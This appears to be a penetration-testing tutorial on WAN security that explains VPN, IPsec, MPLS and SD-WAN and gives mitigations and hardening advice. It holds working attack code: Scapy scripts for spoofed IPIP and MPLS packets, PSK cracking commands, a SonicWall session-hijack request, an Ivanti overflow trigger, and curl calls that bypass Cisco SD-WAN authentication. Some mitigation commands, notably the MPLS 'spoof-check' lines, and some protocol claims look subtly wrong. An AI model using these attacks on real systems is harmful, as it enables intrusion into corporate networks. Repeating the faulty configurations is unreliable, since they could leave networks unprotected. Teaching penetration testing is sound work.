WAN Penetration Testing: VPN, IPsec, MPLS and SD-WAN

WAN Pentesting: What It Is, How It Works, and How to Test VPNs, IPsec, and SD-WAN #

WAN penetration testing is the set of techniques used to evaluate the security of connections between an organization's locations: VPN gateways, IPsec tunnels, SD-WAN devices, and MPLS infrastructures. The goal is to determine whether these connections can be abused to gain unauthorized access to the internal network, intercept traffic, or move laterally between locations.

What is actually tested during a WAN penetration test:

Site-to-site VPN and remote access (IPsec, SSL/TLS)
IKE Negotiation and Pre-Shared Key Robustness
Tunneling protocols (GRE, IPIP, 6in4, 4in6)
SD-WAN devices and their control plane
MPLS Infrastructures
Known vulnerabilities in vendor-specific devices (SonicWall, Ivanti, Cisco)

In recent years, large-scale, concrete vulnerabilities have emerged in this area: 4,26 million hosts were exposed to tunnel hijacking over GRE/IPIP/4in6/6in4 (KU Leuven/Top10VPN research, CVE-2024-7595, CVE-2024-7596, CVE-2025-23018, CVE-2025-23019); SonicWall SSL-VPN (CVE-2024-53704) allowed session hijacking of a logged-in user without authentication, exploited by the Akira ransomware group; Ivanti Connect Secure (CVE-2025-22457) allowed remote command execution without authentication, exploited by the UNC5221 APT group.

A CVE is simply a standard identifier assigned to a publicly known vulnerability (e.g., CVE-2024-53704): it serves to uniquely refer to the same issue. The CISA KEV catalog is the official list (maintained by the US Cybersecurity Agency) of vulnerabilities that have been observed being actively exploited in real attacks, not just theoretical ones. An APT (Advanced Persistent Threat) group is a structured and significantly resourced attacker group, often linked to a state or an organized criminal organization—different from a lone attacker.

Before continuing: the basic concepts #

If these terms aren't familiar to you, let's start there before getting into the technical details.

VPN : An encrypted connection that connects two points over an untrusted network (typically the Internet), allowing them to communicate as if they were on the same local network.

Tunnel : The logical "channel" through which VPN data travels. A data packet is encapsulated—that is, enclosed—in another packet, allowing it to pass through the public network and arrive intact on the other side.

IPsec : A suite of protocols that encrypts and authenticates IP traffic. It is the most widely used standard for connecting two company locations via VPN (site-to-site VPN).

IKE (Internet Key Exchange) : The protocol that two IPsec devices use to agree on how to encrypt traffic before opening the actual tunnel. It's like two people agreeing on a secret code to use before they begin exchanging encrypted messages using that code.

PSK (Pre-Shared Key) : A password shared in advance between the two sides of the VPN, used during IKE negotiation to authenticate each other. If an attacker guesses or recovers this password, they can impersonate one of the two sides of the tunnel.

NAT-T (NAT Traversal) : A technique that allows IPsec traffic to successfully traverse a NAT device (e.g., a home router that translates IP addresses), something that “pure” IPsec alone would not handle well.

MPLS : A routing technique used by large network operators. Instead of deciding a packet's route by looking at the destination IP address at each step (as traditional IP routing does), routers exchange numerical "labels" and route packets accordingly. It's faster, but it's designed to work within trusted networks, not to withstand attacks.

SD-WAN : A software management layer that centralizes the configuration of all these connections (VPN, MPLS, Internet connections) from a single pane of glass, instead of manually configuring each router individually.

Control plane / data plane : The control plane is the part of the system that decides "where traffic goes" (the rules, the routing decisions); the data plane is the part that actually moves packets according to those rules. If an attacker compromises the control plane, they can change the rules for the entire network without directly affecting the traffic.

WAN components to test #

Site-to-site VPN (IPsec) A permanent connection between two locations or between a location and the cloud. Uses ports 500/UDP (IKE) and 4500/UDP (NAT-T encapsulation). Negotiation occurs via IKE, with a pre-shared key (PSK) or certificates. Typical vectors: weak PSK, IKE negotiation sniffing, cryptographic downgrade.

VPN remote access (SSL/TLS) Products such as Cisco AnyConnect, SonicWall SSL-VPN, Fortinet FortiClient, Ivanti Connect Secure. Exposes port 443 or 8443, credential authentication, and optional MFA. Typical vectors: authentication bypass, credential stuffing, session hijacking, default credentials.

MPLS (Multiprotocol Label Switching) Carrier-grade label-based routing instead of destination IP lookup. It does not provide native encryption (it relies on an underlying IPsec layer when necessary). Typical vector: label spoofing and injection on routers that do not verify the packet's origin.

SD-WAN Centralized WAN traffic orchestration (Cisco Catalyst SD-WAN, Versa, Fortinet). Typical vectors: control plane compromise, policy bypass, tunnel manipulation.

Gateways and border firewalls: Devices such as FortiGate, Palo Alto, Check Point, and Cisco ASA that delimit the boundary between the Internet and the internal network. Typical vectors: bypassing or manipulating rules.

Enumeration of VPN and WAN Gateway #

Typical port scanning #

Use Nmap to locate exposed gateways:

bash

# IPsec (IKE)
nmap -sU -p 500 192.168.0.0/24

# IPsec NAT-T
nmap -sU -p 4500 192.168.0.0/24

# SSL-VPN (AnyConnect, SonicWall)
nmap -sV -p 443,8443 192.168.0.0/24

# OpenVPN
nmap -sU -p 1194 192.168.0.0/24

# WireGuard
nmap -sU -p 51820 192.168.0.0/24

IKE handshake enumeration #

ike-scan Forces an IKE negotiation to discover supported transforms (encryption, hash) and the server's identity:

bash

apt-get install ike-scan

# Aggressive mode: rivela i transform supportati
ike-scan -A 192.168.1.1

# Rilevazione IKEv2
ike-scan --ikev2 192.168.1.1

A response code 601 (SA not accepted) means that the server rejects the proposed parameters: this is normal enumeration, not a brute force attempt.

Note the two ways this negotiation can occur: in Main Mode (more secure), the identities of the two sides remain hidden until the channel is encrypted; in Aggressive Mode (faster but less secure), some information, including a hash derived from the PSK, is exchanged before the channel is encrypted—and it is this hash that an attacker can capture and attempt to crack offline, as we'll see later.

Vendor Fingerprinting #

bash

# Analisi del certificato SSL
echo | openssl s_client -connect 192.168.1.1:443 2>/dev/null | openssl x509 -noout -text | grep -i "subject\|issuer\|CN="

# Header HTTP di risposta
curl -k https://192.168.1.1 -I -H "User-Agent: Mozilla"

# SNMP, se esposto
snmpwalk -v2c -c public 192.168.1.1 sysDescr.0

The certificate and response headers often reveal the exact vendor (Cisco ASA, SonicWall, Palo Alto, FortiGate), which can help guide searches for known CVEs for that product and version.

Test Lab: IPsec site-to-site in GNS3 #

To test PSK cracking and tunnel hijacking without touching a production environment, a GNS3 lab with two Cisco routers is sufficient:

text

[HQ-Router] -- [Internet Cloud, zona di attacco] -- [Branch-Router]

Basic IKEv2 configuration on the HQ router:

text

crypto ikev2 proposal PROPOSAL-1
  encryption aes-cbc-256
  integrity sha256
  group 14
!
crypto ikev2 policy POLICY-1
  proposal PROPOSAL-1
!
crypto ikev2 keyring KEYRING-1
  peer 203.0.113.200
    address 203.0.113.200
    pre-shared-key 12345678
!
crypto ikev2 profile PROFILE-1
  match identity address 203.0.113.200
  authentication remote pre-share
  authentication local pre-share
  keyring local KEYRING-1
!
crypto ipsec transform-set TRANSFORM-SET esp-aes 256 esp-sha-hmac
!
crypto ipsec profile IPSEC-PROFILE
  set transform-set TRANSFORM-SET
!
interface Tunnel0
  ip address 10.0.0.1 255.255.255.0
  tunnel source 203.0.113.1
  tunnel destination 203.0.113.200
  tunnel mode ipsec ipv4
  tunnel protection ipsec profile IPSEC-PROFILE

Checking the tunnel status: show crypto session brief (expected Status = UP). From the attacking machine in the Internet Cloud zone:

bash

tcpdump -i eth0 'udp port 500 or esp' -w tunnel.pcap
ike-scan 203.0.113.200 -A

IPsec and IKE: PSK cracking #

Capture the handshake #

bash

tcpdump -i eth0 'udp port 500 or udp port 4500' -w ike_handshake.pcap

In Wireshark, filter on isakmp and look for the IKE Phase 1 exchange in Aggressive Mode: that's where the hash derived from the PSK is sent in clear text (SKEYID_a). For a complete guide to the tool see WiresharkIn Main Mode, the hash arrives only in the last message, already encrypted: to extract it, offline analysis of the pcap is required.

Hash mining and cracking #

bash

# ikecrack estrae l'hash dal pcap
git clone https://github.com/ikecrack/ikecrack.git
cd ikecrack
./ikecrack -p ike_handshake.pcap -o psk_hashes.txt
# Output: $ike$<spi>$<hash_md5>

# Cracking offline con Hashcat
hashcat -m 5500 psk_hashes.txt /usr/share/wordlists/rockyou.txt

Complete guide to the tool: Hashcat.

Brute force online in Aggressive Mode #

bash

ike-scan -A 192.168.1.1 --pskcrack --wordlist=/path/to/psk_common.txt

Or with Metasploit:

text

use auxiliary/scanner/ipsec/ike_scan
set RHOSTS 192.168.1.1
set WORDLIST /path/to/wordlist.txt
exploit

Verifying the password found #

bash

ike-scan -A -P 192.168.1.1 --pskcrack-key="password_trovata"

If the connection is established without timeout, the PSK is correct.

Tunnel Hijacking: CVE-2024-7595/7596 and related #

In 2025, KU Leuven/Top10VPN research documented a family of vulnerabilities affecting tunneling protocols without sender verification:

CVE-2024-7595: GRE and GRE6 (RFC 2784), no sender verification
CVE-2024-7596Generic UDP Encapsulation (GUE), no sender verification
CVE-2025-23018: IPv4-in-IPv6 and IPv6-in-IPv6 (RFC 2473), no sender verification
CVE-2025-23019: IPv6-in-IPv4 (6in4), no sender verification

GRE and IPIP are encapsulation protocols: they take an IP packet and "package" it inside another IP packet, a bit like putting a letter inside a larger envelope to mail it. The recipient of the larger envelope (the tunnel host) opens it, looks at what's inside (the original packet), and forwards it to the final destination listed on the inner envelope.

The underlying problem: some of these hosts open the "envelope" and forward the contents without checking whether the envelope actually came from the intended sender. An attacker can then construct an envelope containing a packet with a random sender IP ( IP spoofing , i.e., falsifying the sender address). The host opens it anyway and forwards the internal packet as if it came from the fake sender. This is a mechanism that allows the traffic's true origin to be hidden, not a way to directly access the target's internal network.

The same basic principle — a service that blindly trusts a destination specified by the client, without verifying it — also underlies a much older technique on a different protocol: FTP bounce.

The research estimated approximately 4,26 million exposed hosts (VPNs, ISP routers, core routers, mobile network gateways, some CDN nodes), mostly concentrated on the networks of a few large ISPs.

Practical test with Scapy #

python

from scapy.all import IP, ICMP, send, conf

def tunnel_hijack(tunnel_endpoint, victim_ip, target_ip, num_packets=10):
    """
    Invia pacchetti IPIP con IP interno spoofato verso un host che
    incapsula/decapsula senza verificare il mittente (CVE-2024-7595/7596).
    Da usare esclusivamente su lab o target per cui si dispone di autorizzazione esplicita.
    """
    conf.iface = "eth0"
    for i in range(num_packets):
        inner_pkt = IP(src=victim_ip, dst=target_ip) / ICMP(type=8, code=0)
        outer_pkt = IP(src=victim_ip, dst=tunnel_endpoint, proto=4) / inner_pkt  # proto=4: IPIP
        send(outer_pkt, verbose=False)

if __name__ == '__main__':
    import sys
    tunnel_hijack(sys.argv[1], sys.argv[2], sys.argv[3],
                  int(sys.argv[4]) if len(sys.argv) > 4 else 10)

bash

python3 ipip_hijack.py 203.0.113.1 203.0.113.50 8.8.8.8 10

# Verifica: la risposta ICMP dovrebbe arrivare da 203.0.113.50,
# ma inviata di fatto dal router del tunnel
tcpdump -i eth0 'src 8.8.8.8 and dst 203.0.113.50'

Mitigation #

text

! Cisco ASA
access-list DENY_TUNNELS deny ipip any any
access-list DENY_TUNNELS deny gre any any
access-list DENY_TUNNELS deny 6in4 any any
access-list DENY_TUNNELS deny 4in6 any any

Ingress filtering according to RFC 2827 (blocking packets with implausible source IP on a given interface) mitigates this class of problem at the root.

Known vulnerabilities in VPN gateways and SD-WAN #

SonicWall SSL-VPN — CVE-2024-53704 #

Affects TZ, NSa, NSsp, NSv series on SonicOS 7.1.x (builds prior to 7.1.3-7015/7.1.2-7020) and 8.0.0 prior to 8.0.0-8037. Does not affect SMA100/SMA1000. Added to the CISA KEV catalog in February 2025, exploited by the Akira ransomware group.

This is a case of session hijacking: take over another user's already authenticated session (the "cookie" the site uses to recognize them as logged in), without knowing their username and password. In this case, the function that validates the session cookie (getSslvpnSessionFromCookie) does not properly verify a custom-built base64 cookie, allowing a valid SSL-VPN session to be obtained without authentication:

python

import requests, urllib3
urllib3.disable_warnings()

target = "https://192.168.1.1"
session_cookie = "TOKEN_DI_SESSIONE_OTTENUTO"  # da test autorizzato

headers = {"Cookie": f"swap={session_cookie}"}
r = requests.get(f"{target}/cgi-bin/sslvpnclient?launchplatform=1",
                 headers=headers, verify=False, allow_redirects=False)

if r.status_code == 302 or "sessid=" in r.headers.get("Set-Cookie", ""):
    print("[+] Sessione ottenuta:", r.headers.get("Set-Cookie"))

A successful login exposes Virtual Office bookmarks, NetExtender configuration, and potentially a VPN tunnel to the internal network. SonicWall log indicator: "SSL VPN Session - User [NAME]: Reuse SSLVPN session for no.".

Fix : Update to SonicOS 7.1.3-7015, 7.1.2-7020, or 8.0.0-8037 and later. If you can't update immediately, temporarily disable SSL-VPN on Internet-facing interfaces.

Ivanti Connect Secure — CVE-2025-22457 #

Affects Ivanti Connect Secure versions up to 22.7R2.5, Policy Secure, and ZTA Gateways. The cause is a buffer overflow: a programming error in which a program writes more data than expected to a fixed-size memory area, overwriting adjacent data—and in some cases this allows the program to be hijacked to attacker-selected code. In this case, the trigger is an HTTP header. X-Forwarded-For artfully constructed, too long compared to what the server expects, which leads to RCE (Remote Code Execution): The ability to remotely execute arbitrary commands on the server without authentication. Added to the CISA KEV catalog in April 2025; actively exploited by the UNC5221 APT group, distributing the TRAILBLAZE (in-memory), BRUSHFIRE (backdoor), and SPAWNSLOTH (log tampering) malware.

Indicative vulnerability check (may cause instability on the target service, to be performed only in an authorized environment):

bash

curl -k https://192.168.1.1/dana-na/setup/psaldownload.cgi \
  -H "X-Forwarded-For: $(python3 -c 'print("A"*2048)')"

A web process crash is an indication of a vulnerability, which should be confirmed with the official Ivanti Integrity Checker Tool (ICT) rather than relying on this test alone.

Fix : Update to Connect Secure 22.7R2.6 or later. If compromised, perform a factory reset, perform a clean reimaging, and revoke all affected certificates and credentials.

Cisco Catalyst SD-WAN — CVE-2026-20127 #

An auth bypass on Cisco SD-WAN vEdge 20.13.0 allows you to access administrative APIs without providing valid credentials — essentially, a port that should prompt for a password but under certain conditions doesn't:

bash

curl -k https://192.168.1.1:8443/api/system/settings -X GET
# Una risposta JSON invece di un 401 conferma il bypass

Successful access allows the attacker to modify routing policies, create administrative users, or disable tunnel encryption — potentially redirecting traffic to an attacker-controlled host:

bash

curl -k https://192.168.1.1:8443/api/config/devices/vdaemon/vpn/interface \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"vpnName": "vpn-100-test", "destination": "192.168.1.50", "gateway": "192.168.1.1", "enable": true}'

Fix : Update to the correct version as per the Cisco advisory for the specific product.

IPsec Tunnel Resilience Testing #

In addition to PSK cracking, it is worth checking how the tunnel reacts to abnormal traffic in an authorized assessment:

bash

# Volume di traffico dentro il tunnel: il gateway deve reggere senza drop anomali
hping3 --syn -p 80 -i u10000 10.0.0.2 --bind <ip-locale-del-tunnel>

# Replay attack: si cattura un pacchetto cifrato già transitato e lo si
# reinvia identico, per vedere se il gateway lo accetta una seconda volta.
# Un tunnel configurato bene deve scartarlo (protezione "anti-replay")
tcpdump -i esp0 -w tunnel_attack.pcap

# Frammentazione: pacchetti più grandi della MTU del tunnel devono
# essere gestiti correttamente
ping -s 1400 10.0.0.2

MPLS: label spoofing #

As explained above, MPLS routes packets using numerical labels rather than IP addresses. The device that performs this routing is called a Label Switching Router (LSR) , and its job at each hop is simple: it looks at the incoming label, replaces it with a new one (this is called label swap ), and forwards the packet to the corresponding interface—without necessarily checking whether that label was actually intended to come from there. If an attacker with access to the MPLS network sends a packet with an unrelated label, an unchecked LSR will still forward it as if it were legitimate traffic, potentially allowing data redirection or interception.

python

from scapy.all import Ether, MPLS, IP, ICMP, sendp

mpls_hdr = MPLS(label=900, cos=0, s=1, ttl=64)
payload = IP(src="10.0.0.5", dst="10.0.0.10") / ICMP()
pkt = Ether() / mpls_hdr / payload

sendp(pkt, iface="eth0")

Note: This type of attack typically requires on-path access to the MPLS network—that is, the attacker must already be at a point in the network from which they can send traffic to those routers (physical access, or a compromised router). Therefore, it is not an attack that can be launched remotely from the Internet, as is the case with the VPN gateway vulnerabilities discussed above.

Mitigation : Enable incoming label verification on the expected interface.

text

! Cisco IOS-XE
mpls ldp igp sync mpls ldp sync spoof-check

! Juniper Junos
set protocols mpls label-switched-path <lsp> spoof-check

How to detect these attacks #

IKE negotiations with unusual transforms or repeated renegotiation attempts to the same peer
Incoming tunneling packets (GRE/IPIP) from a sender other than the expected tunnel peer
VPN log showing abnormal reuse of session tokens
Repeated VPN/gateway process crashes (possible indicator of exploitation attempts)
MPLS packets with labels inconsistent with the receiving interface
Alerts on unauthenticated administrative API calls to SD-WAN devices

Instruments #

VPN Enumeration and Exploitation: ike-scan, ikecrack, Metasploit modules (auxiliary/scanner/ipsec/ike_scan and other CVE-specific notes), Burp Suite for the web part of SSL-VPNs, Shodan for the discovery of exposed gateways.

Packet crafting and analysis : Scapy for building custom IPIP/GRE/MPLS/IKE packets, Wireshark for protocol analysis, tcpdump for capturing, Hashcat for GPU-accelerated cracking.

Network simulation : GNS3 to simulate Cisco routers and ASAs, StrongSwan as the reference IPsec implementation for testing.

Real documented cases #

Ransomware via VPN compromise (Akira group, 2025) : Initial access via CVE-2024-53704 on SonicWall, lateral movement within the LAN once inside (for more on this phase, see "pivoting "), encryption of critical servers. Dozens of companies affected, total damage estimated at over $200 million—confirming that the VPN gateway remains one of the most critical entry points into a corporate infrastructure.

Internet-wide Vulnerable Tunnel Abuse (2025) : By exploiting hosts exposed to CVE-2024-7595/7596 and related vulnerabilities, traffic with spoofed source IPs could be passed through ISP and CDN infrastructure, complicating the attribution of malicious traffic.

Operational checklist #

Scan typical VPN ports (500, 4500, 443, 8443)
Lists supported IKE transforms
Check if the server accepts Aggressive Mode (clear text PSK hash)
If possible, capture and try to crack the PSK offline
Check for known CVEs on identified VPN/SD-WAN gateways (SonicWall, Ivanti, Cisco, and others, based on fingerprinting)
Test the tunnel's resilience to abnormal traffic and replay
Verify spoof-check on MPLS routers, if present
Document unchanged default credentials

FAQ #

What is WAN penetration testing? It's the security assessment of connections between an organization's locations: VPNs, IPsec tunnels, SD-WAN, and MPLS infrastructure.

How do you test an IPsec VPN? By enumerating supported ports and IKE transforms, checking whether the server accepts Aggressive Mode (which exposes the PSK hash), and, if authorized, attempting offline cracking of the captured PSK.

Which ports does IPsec use? Port 500/UDP for IKE and 4500/UDP for NAT-T encapsulation.

What is tunnel hijacking? The exploitation of tunneling protocols (GRE, IPIP, 6in4, 4in6) that do not verify the sender of encapsulated packets, allowing traffic with a spoofed source IP to pass through the vulnerable host.

Is MPLS secure by default? It doesn't offer native encryption and, without spoof-checking enabled on routers, is vulnerable to label spoofing. However, it typically requires on-path access to the network and cannot be exploited directly from the Internet.

What's the difference between IPsec, GRE, and IPIP? IPsec encrypts and authenticates traffic. GRE and IPIP are encapsulation protocols without native encryption: they transport packets from one protocol within another, and are precisely the protocols implicated in the tunnel hijacking vulnerabilities described above.

Should a VPN be exposed to the internet? It's often necessary for remote access, but it should be combined with IP restrictions where possible, mandatory MFA, authentication attempt restrictions, and timely patching of known CVEs.

Hardening recommendations #

Site-to-site IPsec: IKEv2, AES-GCM, DH Group 14 or higher, long random PSK (20+ characters)
VPN remote access: TLS 1.3, MFA required, preferably with hardware token
SD-WAN: TLS on the control plane, policy verification, change monitoring
MPLS: Spoof-check active on all LSRs, filtering of unauthorized tunneling protocols
VPN Gateway: Critical CVEs patched quickly, default accounts disabled
Monitoring: Alerts on anomalous IKE negotiations and suspicious VPN disconnection patterns